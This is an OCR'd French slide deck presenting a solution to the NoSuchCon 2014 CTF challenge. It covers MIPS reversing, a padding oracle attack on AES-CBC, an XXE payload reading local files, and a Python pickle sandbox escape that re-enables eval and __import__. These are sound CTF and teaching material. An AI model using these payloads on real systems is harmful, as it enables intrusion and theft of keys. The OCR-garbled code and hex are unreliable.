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2 Infroduction

B 112
Challenge NoSuchCon 2014 Nsc

¢ Conférence a Paris 19-21 Novembre NoSucHCoN
¢ Créé par Synacktiv
¢ Objectif : Trouver une adresse email ainsi qu’un mot de passe

¢ Challenge en 3 étapes :

o Reverse MIPS
o Rétro ingénierie et analyse statistique

o Evasion d’'une sandbox Python Pickle modifiée
o Attaque sur AES-128 (padding oracle)
o Exfiltration de données (XML External Entity)
o Evasion de la sandbox Pickle

o Exploitation x86-64 de services cryptographiques distants
o Exploitation d’'un buffer overflow

e Timing cache attack sur RSA

Thales Communications & Security I H A L E s
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3 Infroduction

Some stats...

= 850+ curious downloaded level 1

= 159 reversers cracked level 1

2015

= 22 ninjas evaded level 2

= 5 warLOrdZ killed level 3

m|
I M DIGITAL SECURITY

RéSIST — Solution du challenge NoSuchCon 2014 / 17 février

Thales Communications & Security

THALES




+ Reverse MIPS
o0 Rétro ingénierie et analyse statistique
¢ Evasion d’'une sandbox Python Pickle modifiée
Attaque sur AES-128 (padding oracle)
Exfiltration de données (XML External Entity)
Evasion de la sandbox Pickle
¢ EXxploitation x86-64 de services cryptographiques distants
Exploitation d’'un buffer overflow

Timing cache attack sur RSA
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ETAPE 1 : Découverte

Découverte du binaire

$ tar tf crackmips.tar.gz
./crackmips
$ file crackmips

crackmips: ELF 32-bit LSB executable, MIPS, MIPS-II version 1, dynamically
Tinked (uses shared 1libs), for GNU/Linux 2.6.26, [...], not stripped

Machine virtuelle MIPSel

https://people.debian.org/~aurel32/gemu/mipsel/

# gemu-system-mipsel -m 256 -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda
debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sdal console=ttyS0" --nographic -
redir tcp:2222::22

# ./crackmips
usage: ./crackmips password

# ./crackmips ABC
WRONG PASSWORD
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ETAPE 1 : Réfro ingénierie MIPSel

¢ Vérifications diverses sur le mot de passe
o strlen(PASSWORD) == 48

loc_408287C:
Svl, +arg_4{5fp)
Svo,
Sva, 06{5ve)

strlen

Saf, Svo s
Svl, Sve

Svo,

Sv1, $vB, loc_4828CC
gat, Szero

o Uniguement des caractéres hexadécimaux
+Fork sur une procédure de débug
+Application d’'une grosse procédure modifiant la clef entrée
+Test sur la valeur de la clef entrée modifiée
[ Synacktiv + NSC = <3 ]
+Déchiffrement d’un blob AES (key=sha256(clef entrée))
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ETAPE 1 : Réfro ingénierie MIPSel

+Veérifications diverses sur IW
o strlen(PASSWORD) == 48

loc_408287C:
Svl, +arg_4{5fp)
Svo,
Sva, 06{5ve)

strlen

Saf, Svo s
Svl, Sve

Svo,

Sv1, $vB, loc_4828CC
gat, Szero

o Uniguement des caractéres hexadécimaux
+Fork sur une procédure de débug
+Application d’'une grosse procédure modifiant la clef entrée /
+Test sur la valeur de la clef entrée modifiée

[ Synacktiv + NSC = <3 ]
+Déchiffrement d’un blob AES (key=sha256(clef entrée))
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ETAPE 1 : Réfro ingénierie MIPSel

En résumé

if len(password != 48)
badboy ()
if !decode(password)
badboy ()
it fork()
debug()
else
modif = grosse_procedure(password)
it memcmp( modif , [ Synacktiv + NSC = <3 ] ) ==
goodboy ()
else
badboy ()
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ETAPE 1 : Réfro ingénierie MIPSel

En résumé

if len(password != 48)
badboy ()
if !decode(password)
badboy ()
it fork()
debug()
else
modif = grosse_procedure(password)
it memcmp( modif , [ Synacktiv + NSC = <3 ] ) ==
goodboy ()
else

badboy ()
Observation de la valeur
intermédiaire en fonction du
mot de passe
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ETAPE 1 : Collecte de donnée

# 1dd crackmips

Tibss1.50.1.0.0 => /usr/lib/mipsel-Tinux-gnu/libss1.s50.1.0.0 (0x779b1000)

Tibc.so0.6 => /1ib/mipsel-Tinux-gnu/libc.so0.6 (0x77828000)

Tibcrypto.so.1.0.0 => /usr/1lib/mipsel-Tinux-gnu/libcrypto.so.1.0.0 (0x77681000)
Tibdl1.s0.2 => /1ib/mipsel-Tinux-gnu/1ibdl.so0.2 (0x7766d000)
Tibz.so.1l => /lib/mipsel-1linux-gnu/libz.so.1 (0x77645000)

/1ib/1d.so.1 (0x55550000)
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ETAPE 1 : Collecte de donnée

Pré chargement d’une librairie pour surcharger « memcmp »
¢ Collecte de données des états intermédiaires

M AE
iddiu
move
Lui

iddiu 1 # "[ Synacktiv + NS(

+ Etats intermédiaires proches pour des mots de passe proches

$ LD_PRELOAD=./preload.so ./crackmips AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
S5F2E17F69F9B4348755D782C9CBB0821FCO9C97BC489B220C -
$ LD_PRELOAD=./preload.so ./crackmips AAARRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABE
5F2E17F69F984348755D782CQCBBO821FC9097BC4&220C -

+ = Choix d’une résolution par analyse statistique

o Collecte de données avec 10 VM MIPS pour des mots de passe aléatoires
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ETAPE 1 : Analyse statistique

Analyse statistique sur 6 blocs de 4 octets

+ La modification partielle d’'un bloc dans le mot de passe entraine la
modification partielle du méme bloc dans I'état intermédiaire

¢ La valeur de I'état intermédiaire cible est connue
[ Synacktiv + NSC = <3 ]

o Dans le bon endianness :

£ T 3 0 Y 3 T S YT D Y T
f ke a0 it o |
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ETAPE 1 : Analyse statistique

¢ Premier bloc : 79532058
¢ Recherche de motifs : 795%**%% = *QG53%%%%*
¢ Analyse des passwords ayant généré

¢ Recherche de blts invariants par motif

[davidinewton] $ export BLOCK= > lgrep —— '-> 795,...." Ipython2 analyse_keyd.py lhead -n20
WJ.WIW:IJ.O:IJJ.O]J.WIOIJ.OIOIO]JJ.
00110010001011000100010010110111

Bits du premier bloc ayant

geénéreé un bloc 795*****
00110010001000100000111010101100
00110010111000110000111100000100
01100010001000101100001101110101
00110010001011001111001111000110
00110010101011111110111100000110
00110010101001000011011000101001
00100010001001010110000010000011
00110010101000001000011011101100
00110010101011100111101000011001
00110010101011100110100000100000
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ETAPE 1 : Analyse statistique

Analyse statistique sur 6 blocs de 4 octets

+ Automatisation de la recherche des bits invariants par motif

o
]
]

on u n " wN N o

BLOCK=0; grep -- ’-> 795..... ’ results |python2 analyze_key.py

nun n nKR

o =l O N O e

- O
vV VVVVVVV

O = O = OO0 O

+ Généralisation pour tous les motifs de 3 caracteres (hexa) pour
chaque bloc

¢ 84% des bits identifiés = Brute-force des quelques bits manquants
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ETAPE 1 : Solution

./crackmips 322644EF941077AB1115AB575363AE8TF58E6DI9AFESC62CC
good job!
Next level is there: http://nsc2014.synacktiv.com:65480/cobdgiekeedzaeW9/
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¢ Reverse MIPS
Rétro ingénierie et analyse statistique
+ Evasion d’'une sandbox Python Pickle modifiée
Attaque sur AES-128 (padding oracle)
Exfiltration de données (XML External Entity)
Evasion de la sandbox Pickle
¢ EXxploitation x86-64 de services cryptographiques distants
Exploitation d’'un buffer overflow

Timing cache attack sur RSA
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ETAPE 2 : Découverte de I'épreuve

0@ EiNews X
€& - C [I nsc2014.synacktiv.com:65480/c0b... Q 77 =

~

Refresh
1/5 messages
Message 1 & Delete
Contenu du message 1

Add a2 new message
Title: Message 1
Contenu du message 1

3 web services

¢ msg.add (titre, message, vs)

+ msg.del (id, vs)

Text: + msg.list (vs)

Allowed tags: b, u, i, br, p, h1, h2, h3 + Add message

Q [] Elements | Network ' Sources Timeline » )= ﬁ- EI‘X

® © Y :i= [Preserve log [ |Disable cache

Name %

Path Headers | Preview | Response Timing
| msg.del v {,.}

L= v messages: [{body: "<msg>Contenu du message 1-
v 0: {body: "<msg=Contenu du message l</msg>'
body: "<msg=Contenu du message 1l</msg>"

title: "Message 1"
vs: "feOhZbZTftLNtEkjOEXwOE2w7LO41i1hgWWHDmD..

msg.add
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O @) E iNews x

ETAPE 2 : Découverte de I'épreuve

€« C [ nsc2014.synacktiv.com:65480/00b... @ 77

» Refresh
1/5 messages
Message 1 & Delete
Contenu du message 1

Add a2 new message
Title: Message 1
Contenu du message 1

Text:
Allowed tags: b, u, i, br, p, h1, h2, h3 + Add message

Q0

Elements | Network | Sources Timeline » >=

® O VvV =
Name ‘
Path

~|Preserve log [ |Disable cache

X

Headers | Preview | Response Timing

~ | msg.del v {,.}

v messages: [{body: "<msg>Contenu du message 1-
v 0: {body: "<msg=Contenu du message l</msg>'
body: "<msg=Contenu du message 1l</msg>"

| msg.add

R 0O, x

A L e

vs:| " feShZbZTTftLNtEK]j@EXWAE2w7L041i1hgWWHDmMD..

2 requests | 86... \
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Stockage dans « vs »

¢ Pas de stockage distant
¢ « Vs » encodé en base64

¢ L’ajout d’un message a
entropie faible affecte peu la
taille de « vs » = compression

¢ « vs » aléatoire = chiffrement
probable

¢ « vs » toujours multiple de 16
octets = chiffrement par bloc
+ padding
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ETAPE 2 : Fuzzing du paramétre « vs »

Plusieurs erreurs renvoyeés par le serveur

¢ Dans la majorité des cas

o 500: corrupted viewstate

¢ Pour le reste

o 500: corrupted viewstate suivi d’'une erreur de la zlib

Conclusions

¢ Le parametre Viewstate (« vs ») est :
o Compressé par la zlib
o Chiffré par un algorithme de chiffrement par bloc de 16 octets

o0 Encodé en base64

+ Dans certains cas le programme distant passe I'étape de
déchiffrement pour tenter la décompression zlib

o Suspicion de vérification de padding = Attaque par padding oracle
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¢ Reverse MIPS
Rétro ingénierie et analyse statistique
+ Evasion d’'une sandbox Python Pickle modifiée
o Attaque sur AES-128 (padding oracle)
Exfiltration de données (XML External Entity)

Evasion de la sandbox Pickle

¢ EXxploitation x86-64 de services cryptographiques distants
Exploitation d’'un buffer overflow

Timing cache attack sur RSA
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ETAPE 2 : Padding oracle

Principe de I’ attaque

¢ Présentation du Padding PKCS#5
¢ Fonctionnement d’AES CBC
¢ Attaque par padding oracle

Mise en pratique sur Pétape 2

+ Padding différent du padding standard

+ Adaptation a I’aide des erreurs renvoyées
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ETAPE 2 : Padding PKCS#5

Normal H E L L
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ETAPE 2 : Padding PKCS#5

Normal H E L L

Padding H E L L O O0x3 O0x3 0x3
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ETAPE 2 : Padding PKCS#5

5
Normal H E L L O
O

Padding H E L L

Normal P A D D I N G A T T A C
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ETAPE 2 : Padding PKCS#5

5
Normal H E L L O
O

Padding H E L L

Normal P A D D I N G A T T A C

Padding P A D D I N G A T T A C Ox4 O0x4 Ox4 Ox4
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ETAPE 2 : Padding PKCS#5

5
Normal H E L L O
O

Padding H E L L

Normal P A D D I N G A T T A C
Padding P A D D I N G A T T A C Ox4 Ox4 Ox4 Ox4
Normal A A A A A A A A
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ETAPE 2 : Padding PKCS#5

5
Normal H E L L O
O

Padding H E L L

Normal P A D D I N G A T T A C

Padding P A D D I N G A T T A C Ox4 Ox4 Ox4 Ox4
Normal A A A A A A A A

Padding A A A A A A A A Ox8 O0x8 0x8 0x8 0x8 O0x8 O0x8 0x8
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ETAPE 2 : Padding PKCS#5

+ Déchiffrement vulnérable a une padding attack

> Deux comportements différents =» padding oracle

¢ Grace aux erreurs de mauvais padding, il est possible de chiffrer et
déchiffrer ’AES
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ETAPE 2 : AES CBC

Plaintext
LITTTITTITITTTd

Initialization Vector (1V)

Lrrrrrtfitfl——

Key —

Key —

block cipher
encryption

li

LTI IIrrrgy
Ciphertext

Plaintext
LITTTITTITITTTd

Key —

1

block cipher
encryption

li

LTI IIrrrgy
Ciphertext

Plaintext
LITTTITTITITTTd

Key —

1

block cipher
encryption

|

LTI IIrrrgy
Ciphertext

Cipher Block Chaining (CBC) mode encryption

Ciphertext
INNEEEEENENEE

l—

block cipher
decryption

Initialization Vector (1V)

LIt ——
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([HENERERENEREN|
Plaintext

Key —

Ciphertext
INNEEEEENENEE

l—

block cipher
decryption

]

([HENERERENEREN|
Plaintext

Key —

Ciphertext
INNEEEEENENEE

!

block cipher
decryption

]

([HENERERENEREN|
Plaintext

Cipher Block Chaining (CBC) mode decryption

Source : http://en.wikipedia.org/wiki/Block cipher_mode_of operation
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Plaintext

Initialization Vector (1V)

Lrrrrrtfitfl——

Key —

Plaintext

block cipher
encryption

li

Ciphertext

Key —

ETAPE 2 : AES CBC

Plaintext

1

block cipher
encryption

li

Ciphertext

Key —

1

block cipher
encryption

|

Ciphertext

Cipher Block Chaining (CBC) mode encryption

Ciphertext

Key —

l—

block cipher
decryption

Initialization Vector (1V)

LIt ——

Ciphertext

Key —

l—

block cipher

decryption

Plaintext

Ciphertext

Key —

!

block cipher
decryption

]
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Plaintext

]

Plaintext

Cipher Block Chaining (CBC) mode decryption

Source : http://en.wikipedia.org/wiki/Block cipher_mode_of operation
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ETAPE 2 : AES CBC

¢ Exemple avec des blocs de 8 octets

1 2 3 4 5 6 14 8
Plaintext B R I 1 2
Initialization Vector 0x7B 0x21 Ox6A 0x63 0x49 0x51 0x17 OxOF
Vv XOR WV
Intermediate Value 0x39 0x73 0x23 0x22 0x07 Ox6A 0x26 0x3D
Vv BLOCK CIPHER ENCRYPTION W
Encrypted OxF8 0x51 0xD6 0xCC 0x68 OxFC 0x95 0x37
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ETAPE 2 : AES CBC

¢ L’ utilisateur contrdle I' IV et le texte chiffré

1 2 3 4 ) 6 4 8

Encrypted 0xF8 0x51 0xD6 0xCC 0x68 OxFC 0x95 0x37
S Vv BLOCK CIPHER DECRYPTION W
“E-’ Intermediate Value 0x39 0x73 0x23 0x22 0x07 Ox6A 0x26 0x3D
% Initialization Vector 0x7B 0x21 0x6A 0x63 0x49 0x51 0x17 O0xOF
3
Vv XOR WV
2
) Plaintext B R [ A N ; 1 2
3
5
(7]
3
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ETAPE 2 : Padding Attack

¢ En modifiant I'lV, le texte déchiffré est modifié

¢ Le padding est alors vérifié

Mauvais Padding

1 2 3 4 ) 6 4 8

Encrypted OxF8 0x51 0xD6 0xCC 0x68 OxFC 0x95 0x37
S Vv BLOCK CIPHER DECRYPTION W
‘E-’ Intermediate Value ? ? ? ? ? ? ? ?
3 Initialization Vector 0x0 0x0 0x0 0x0 0x0 0x0 0x0 Ox1
3
Vv XOR WV
2
> Plaintext 0x39 0x73 0x23 0x22 Ox7 Ox6a 0x26 -
3
5
(0]
2
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ETAPE 2 : Padding Attack

¢ L’ IV est incrémenté jusqu’ a ce que le padding soit bon

1 2 3 4 3} 6 7 8
Encrypted OxF8 0x51 0xD6 0xCC 0x68 OxFC 0x95 0x37
] ¥ BLOCK CIPHER DECRYPTION ¥
‘E-’ Intermediate Value ? ? ? ? ? ? ? ?
2 Initialization Vector 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0Ox3C
3
Vv XOR WV
2
> Plaintext 0x39 0x73 0x23 0x22 Ox7 Ox6a 0x26 -
3 Bon Padding
3
;
(0]
4
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ETAPE 2 : Padding Attack

+ Une fois le bon padding trouvé, la valeur intermédiaire de I’ octet
correspondant est fixée pour la suite

/

Fixation de la valeur intermédiaire

1 2 3 4 ) 6 7 8

Encrypted OxF8 0x51 0xD6 0xCC 0x68 OxFC 0x95 0x37
] ¥ BLOCK CIPHER DECRYPTION ¥
‘E-’ Intermediate Value ? ? ? ? ? ? ? 0x3D
2 Initialization Vector 0x0 0x0 0x0 0x0 0x0 0x0 0x 0Ox3C
3
Vv XOR WV
2
o) Plaintext 0x39 0x73 0x23 0x22 Ox7 % 0x26 -
§
;5
(0]
2
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ETAPE 2 : Padding Attack

+ Le méme fonctionnement est reproduit avec |’ octet 7

¢ Le padding doit étre 0x2 sur les deux derniers octets

1 2 3 4 3} 6 7 8
Encrypted OxF8 0x51 0xD6 0xCC 0x68 OxFC 0x95 0x37
¥ BLOCK CIPHER DECRYPTION ¥
Intermediate Value ? ? ? ? ? ? ? 0x3D
Initialization Vector 0x0 0x0 0x0 0x0 0x0 0x0 0x0 Ox3F
Vv XOR WV
Plaintext 0x39 0x73 0x23 0x22 Ox7 Ox6a

RéSIST — Solution du challenge NoSuchCon 2014 / 17 février 2015
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ETAPE 2 : Padding Attack

¢ Le bon IV est trouvé pour I’ octet 7

1 2 3 4

5 6 7 8

Encrypted OxF8 0x51 0xD6 0xCC

0x68 OxFC 0x95 0x37

Vv BLOCK CIPHER DECRYPTION W

Intermediate Value ? ? ? ? ? ? ? 0x3D
Initialization Vector 0x0 0x0 0x0 0x0 0x0 0x0 0Ox24 Ox3F
Vv XOR WV
Plaintext 0x39 0x73 0x23 0x22 Ox7 Ox6a -

RéSIST — Solution du challenge NoSuchCon 2014 / 17 février 2015
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ETAPE 2 : Padding Attack

¢ La valeur intermédiaire de I’ octet 7 est fixée

/

Fixation de la valeur intermédiaire

1 2 3 4 ) 6 4 8

Encrypted OxF8 0x51 0xD6 0xCC 0x68 OxFC 0x95 0x37
S Vv BLOCK CIPHER DECRYPTION W
£ | Intermediate Value ? ? ? ? ? ? 0x26 0x3D
3 Initialization Vector 0x0 0x0 0x0 0x0 0x0 0 0Ox24 Ox3F
3
Vv XOR WV
2
o) Plaintext 0x39 0x73 0x23 0x22 %{ Ox6a -
3
5
(7]
4
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ETAPE 2 : Padding Attack

¢ Apres 8 itérations, le vecteur des valeurs intermédiaires est
retrouveé

1 2 3 4 5 6 7 8
§ Encrypted OxF8 0x51 0xD6 0xCC 0x68 OxFC 0x95 0x37
V¥ BLOCK CIPHER DECRYPTION W

% Intermediate Value 0x39 0x73 0x23 0x22 0x07 Ox6A 0x26 0x3D
initialization Vector | 0x31 Ox7B 0x2B Ox2A OxOF O0x62 Ox2E 0x35
Vv XOR ¥
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ETAPE 2 : Padding Attack

+ En XORant ce vecteur avec I’ IV d’ origine, le texte d’ origine est
retrouvé

1 2 3 4 5 6 7 8
Intermediate Value 0x39 0x73 0x23 0x22 0x07 Ox6A 0x26 0x3D
Initialization Vector 0x7B 0x21 0x6A 0x63 0x49 0x51 0x17 0xO0F
Vv XOR WV
Plaintext B R [ A N ; 1 2
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ETAPE 2 : Mise en pratique

Mise en pratique sur |’ étape 2

+ Détection de I’ oracle
o 500: corrupted viewstate - Mauvais Padding

o 500: corrupted viewstate suivi d’'une erreur de la zlib - Bon Padding

¢ Spécificité de la vulnérabilité
o Le padding est décalé : 1 caractere de padding donne 0x2 au lieu de 0x1

o Les erreurs zlib vont permettre d” attaquer le dernier octet grace a la
connaissance du header du format zlib

o Le résultat suivant doit étre obtenu

Plaintext 0x78 0x9C 0x7 0x7 0x7 0x7 0x7 0x7

RéSIST — Solution du challenge NoSuchCon 2014 / 17 février 2015
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ETAPE 2 : Mise en pratique

Déchiffrement du viewstate

¢ Apres un long déchiffrement, le message déchiffré est obtenu

o {'msg " [], 'display_name ": 'guest '}

+ Grace a la padding oracle attack, il est possible de rechiffrer des
messages

¢ Chiffrement de : {msg": [], 'display_name " ‘admin'}
- Aucun résultat

RéSIST — Solution du challenge NoSuchCon 2014 / 17 février 2015
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ETAPE 2 : Changement de stratégie

=- Synacktiv ¥ Follow
@Synacktiv
[ ] | v

Hint # NoSuchChallenge: the padding oracle is not
going to help you on level 2 :-(
2:59 PM - 15 Sep 2014

6 RETWEETS 2 FAVORITES
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¢ Reverse MIPS

Rétro ingénierie et analyse statistique

+ Evasion d’'une sandbox Python Pickle modifiée
Attaque sur AES-128 (padding oracle)
o Exfiltration de données (XML External Entity)
Evasion de la sandbox Pickle
¢ EXxploitation x86-64 de services cryptographiques distants
Exploitation d’'un buffer overflow

Timing cache attack sur RSA
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ETAPE 2 : Changement de stratégie

== Synacktiv ¥ Follow
Synacktiv
.. @ 4

Hint # NoSuchChallenge: Understanding CWE-611
will greatly help on level 2 @Support_id
2:27 PM - 23 Sep 2014

6 RETWEETS 1 FAVORITE - 3 x
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ETAPE 2 : XML External Entity (XXE)

0@ EiNews X
€& - C [I nsc2014.synacktiv.com:65480/c0b... @ 77 =
» Refresh
1/5 messages
Message 1 & Delete
Contenu du message 1
Add a2 new message
Title: Message 1
Contenu du message 1

Text:

Allowed tags: b, u, i, br, p, h1, h2, h3 + Add message

Q [J Elements |Network| Sources Timeline »  >= ¢ [l x
® © W :i= [Preserve log [ |Disable cache
Name % .
Path Headers ’ Preview | Response Timing

msg.del v{.}
L= v messages: [{body: "<msg>Contenu du message 1-
V 0! { D00 e e Rt
msg.add body: R'<msg=Contenu du message 1l</msg>"
title! oS od0 T
vs: "feShZbZTftLNtEKjOEXwBE2w7L0O4i1hgWWHDmD..

2 requests | 86...

Thales Communications & Security

Parametre « body » (msg.add)

¢ Seul parametre contenant du
XML

¢ Vulnérable aux XXE ©

<?xml version="1.0"2>
<!DOCTYPE msg |
<|ENTITY ¢test SYSTEM "file://.">
1>
<msg>
&test;
</msg>

¢ Directory listing :

o app.conf

O viewstate.pyc

THALES
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ETAPE 2 : XML External Entity (XXE)

0@ EiNews X

€& - C [I nsc2014.synacktiv.com:65480/c0b... @ 77 =
» Refresh

1/5 messages

Message 1 & Delete

Contenu du message 1

Add a2 new message

Title: Message 1

Contenu du message 1

Text:

Allowed tags: b, u, i, br, p, h1, h2, h3 + Add message
Q [J Elements |Network| Sources Timeline »  >= ¢ [l x
® © W :i= [Preserve log [ |Disable cache
Name % .
Path Headers ’ Preview | Response Timing

msg.del v{.}
L= v messages: [{body: "<msg>Contenu du message 1-
V 0! { D00 e e
msg.add body: R'<msg=Contenu du message 1l</msg>"
title! oS od0 T
vs: "feShZbZTftLNtEKjOEXwBE2w7L0O4i1hgWWHDmD..

2 requests | 86...

Thales Communications & Security

Extraction des fichiers

¢ app.conf

[global]
you_know_how_to_play_with_xxe =1
admin_url = /secret.key

[viewstate]
key = ab2f8913c6fde13596c09743a802ff7a

¢ viewstate.pyc

o Python 2.7 byte-code

o Extraction des classes python avec
uncompyle2

THALES




¢ Reverse MIPS

Rétro ingénierie et analyse statistique

+ Evasion d’'une sandbox Python Pickle modifiée
Attaque sur AES-128 (padding oracle)
Exfiltration de données (XML External Entity)

o Evasion de la sandbox Pickle

¢ EXxploitation x86-64 de services cryptographiques distants
Exploitation d’'un buffer overflow

Timing cache attack sur RSA
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ETAPE 2 : Pickle escape - découverte

Viewstate.py : 3 classes python

¢ App : routage des requétes web

@staticmethod
def getMasterSecretKey(req, vs_data = None):
assert isinstance(req, EZWebRequest)
vs = App._load_session(vs_data)
if vs.data.get('uid', -1) != 31337:
raise SecurityError('not allowed from this uid')
if req.env['REMOTE_ADDR'] not in App.ADMIN_HOSTS:
raise SecurityError('not allowed from this IP address')
return (vs, SecretStore.getMasterKey())
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ETAPE 2 : Pickle escape - découverte

Viewstate.py : 3 classes python

+Viewstate : chiffrement / compression / encodage du parametre vs

def serialize(self):
iv = ViewState.rand_fp.read(16)
crypto = AES.new(ViewState.enc_key, AES.MODE_CBC, iv)
_data = compress(dumps(self.data))
pad_len = 16 - (len(_data) & 15)
_data += pad_len = chr(pad_len)
return standard_b64encode(iv + crypto.encrypt(_data)).rstrip('=")
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ETAPE 2 : Pickle escape - Découverte

Viewstate.py : 3 classes python

+ViewStateUnpickler : sérialisation / de-sérialisation de I’objet
viewstate

o Hérite de Pickle Unpickler

e Classe connue pour ses problémes de sécurité si de-sérialisation de données
utilisateur (c’est le cas ici : clé AES connue)

SAFE_BUILTINS = frozenset(['bool'
‘chr',
‘dict’,

o Durcissement par limitation des fonctions et ;;g:gtr

opcodes autorisés int*,

. ] r r . . . kiSt I '

o Les exploits Pickle génériques ne fonctionneront '‘locals’,

pas ® .,}1:2?"

'min‘,

'repr',

'set’,

'setattr’',

'str',

'sum’,

"tuple’,

"type’,

'unicode'])

Thales Communications & Security I H A I E S
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ETAPE 2 : Pickle escape - Exploitation

Objectif : Modifier le tableau SAFE_BUILTINS dans ViewStateUnpickler

+Etape 1 : locals() retourne un dict contenant la référence vers I’'objet

ViewstateUnpickler pour I'index ‘self’

{’self’': <viewstate.ViewStateUnpickler instance at 0x7fb2feS40518>, ’args’: (), ’stack’:

«» [{...}, <type ’'str’>], ’'func’: <built-in function locals>}

o La fonction « get » n’est pas autorisée, récupération
directe de la référence impossible

RéSIST — Solution du challenge NoSuchCon 2014 / 17 février 2015
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SAFE_BUILTINS = frozenset(['bool’
‘chr',
'dict’,
'float’,
'getattr’,
'int*®,
'list’

ong -,

'max’,
'min‘,
'repr',
'set’,
'setattr’',
'str',
'sum’,
"tuple’,
"type’,
'unicode'])

THALES



ETAPE 2 : Pickle escape - Exploitation

Objectif : Modifier le tableau SAFE_BUILTINS dans ViewStateUnpickler

+ Etape 2 : obtenir la référence vers ViewStateUnpickler
o type(obj) : retourne le type de I'objet obj
>>> g= [nan , nbn]
>>> type(a)
<type 'list'>

SAFE_BUILTINS =
o type(‘Object Name’, base classes, dict) : Création d’'un nouvel objet ‘chr’,

. . i . . 'dict’,
avec comme attributs le contenu du dict passé dans le paramétre dict '$1loat '

>>> diCt={"a":1,"b":2,"C":3}
>>> obj=type('MyObj', (list,),dict) ‘Uist!,

. 'locals’',

>>> getattr(obj,"c") ‘long',
'max’,

3 'min’*,

'repr’',

'set’,

o Solution : 'setattr’,

str',

>>> obj=type('X", (list,), locals()) Sum
>>> ViewStateUnpickler=getattr(obj, 'self"') Eg%;;:
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ETAPE 2 : Pickle escape - Exploitation

Objectif : Modifier le tableau SAFE_BUILTINS dans ViewStateUnpickler

+ Etape 3 : Modification du tableau

>>> setattr(ViewStateUnpickler,"SAFE_BUILTINS",[...,'globals','eval’,'__import__"'])

SAFE_BUILTINS =
© ‘chrt,
5 'dict’,
B 'float’,
] 'getattr’,
= 'int"',
s 'list’',
8 'locals’,
3 ‘long’,
S '‘max"’,
§ 'min’*,
5 'repr’',
k5 'set’
3 str',
S 'sum’,
§ 'tuple’,
! "type',
® 'unicode'])
‘O
x

Thales Communications & Security I H A L E S



ETAPE 2 : Pickle escape - Solution

+Fonction cible : SecretStore.getMasterKey

@staticmethod
def getMasterSecretKey(req, vs_data = None):
assert isinstance(req, EZWebRequest)
vs = App._load_session(vs_data)
if vs.data.get('uid', -1) != 31337:
raise SecurityError('not allowed from this uid')
if req.env['REMOTE_ADDR'] not in App.ADMIN_HOSTS:
raise SecurityError('not allowed from this IP address')
return (vs,|SecretStore.getMasterKey()

¢Récupération des constantes de la fonction

>>> eval(str(__import__("viewstate").SecretStore.getMasterKey.func_code.co_consts))

$ python2 pickle_aes.py
(None, 124, ’getMasterKey() caller not authorized (opcode %i/%i)’, ’viewstate.py’,
<> ’getMasterKey () caller not authorized’, ’getMasterSecretKey’, ’getMasterKey()
<« caller not authorized (function %s/%s)’,
< ’master_key=http://nsc2014.synacktiv.com:65480/0hXieK1hEizahk2i/securedrop.tar.gz’)
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¢ Reverse MIPS
Rétro ingénierie et analyse statistique
¢ Evasion d’'une sandbox Python Pickle modifiée
Attaque sur AES-128 (padding oracle)
Exfiltration de données (XML External Entity)
Evasion de la sandbox Pickle
+ Exploitation x86-64 de services cryptographiques distants
Exploitation d’'un buffer overflow

Timing cache attack sur RSA
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ETAPE 3 : Découverte de I'archive

$ tar xzvf securedrop.tar.gz
securedrop/

securedrop/client/
securedrop/client/client.py
securedrop/archive/
securedrop/archive/messages
securedrop/servers/
securedrop/servers/SecDrop
securedrop/servers/xinetd. conf/
securedrop/servers/xinetd.conf/secdrop
securedrop/servers/xinetd.conf/stpm
securedrop/servers/STPM
securedrop/1lib/
securedrop/lib/1libsec.so

Listing 9: Extraction of the step 3 archive
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ETAPE 3 : Découverte de I'archive

$ tar xzvf securedrop.tar.gz
securedrop/
securedrop/client/
securedrop/client/client.py
securedrop/archive/

securedrop/archive/messages|

securedrop/servers/
securedrop/servers/SecDrop
securedrop/servers/xinetd.conf/
securedrop/servers/xinetd.conf/secdrop
securedrop/servers/xinetd.conf/stpn
securedrop/servers/STPM
securedrop/1lib/
securedrop/lib/libsec.so

Listing 9: Extraction of the step 3 archive
- archive/messages

- Sans doute chiffré

messages

new messadge:
OC849AFEOA7C11B2FO83C32E7FDBOFSACO3198D84D9990B26D6443B1D185A36A235A561BBOSFESS7858371311
B2ADEDFE7SE199667637EDEA7BOC14A158ASFE6FFELISA1C14DADS80OSFDCOF846530EDDAFE3ESEF4F98571CD45F1
1190EDS31FCO40D62C2C2EOSFO9772235808097763157F140FE4AS7DBEADS02D9962F 1 2BDFC1547CED3E28260
4255B2A5331373CAEESS7CC825DDEA03C3D2D7B106E4AD15347BCBS067BDCE0376FF1CC133F2C14

9d41dbb8dalob66cdde844f 62e9ccaf 96c3a88730b7b8307810cT 19069351 23f 97acob682dd401512d18775bd
7bdob8b40929f5b4a1871bad44c94038793f 0aa639b9d71d72d2accfcc95671c77a5c1c32bc813b0481fSdech1fO
8b59d6a7atb3b34462ac6abb69ch70acch24d78389a1777c5244b8063c542¢cc1f6c6db8d41d32df 2e7132e21d
b8alcc711cla97cS51baz29f 1dlac8faS01a002b2a987f 07647341 8b8cd2d476200e7ae62a424e2930d8b029409
d0eSel13d4ellf4bSfSccl1263f 41b500b4340b8641465bbhcS56c64a575f 0ee215d02dea3d75552328cf5742¢
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ETAPE 3 : Découverte de I'archive

$ tar xzvf securedrop.tar.gz
securedrop/

securedrop/client/
|securedrop/client/client.py
securedrop/archive/
securedrop/archive/messages
securedrop/servers/
securedrop/servers/SecDrop
securedrop/servers/xinetd. conf/
securedrop/servers/xinetd.conf/secdrop
securedrop/servers/xinetd.conf/stpn
securedrop/servers/STPM
securedrop/1lib/
securedrop/lib/libsec.so

Listing 9: Extraction

- client/client.py
- script python permettant la

connexion au serveur

RéSIST — Solution du challenge NoSuchCon 2014 / 17 février 2015
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urandom(1)

c "\ x00' :
C urandom(1)
C

p

"enter your

k = urandom(16)
enc = och_crypt(k, m)
ocb_decrypt(k, enc)

x 00\ x02" genpad(ks-16-2-1)

:nt(Wk.encode('hex'), 16)
pOW(Wk, e n)

kX! (kS <, Wk)

THALES
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ETAPE 3 : Découverte de I'archive

$ tar xzvf securedrop.tar.gz
securedrop/

securedrop/client/
securedrop/client/client.py
securedrop/archive/
securedrop/archive/messages
securedrop/servers/
|securedrop/servers/SecDrop |
securedrop/servers/xinetd.conf/
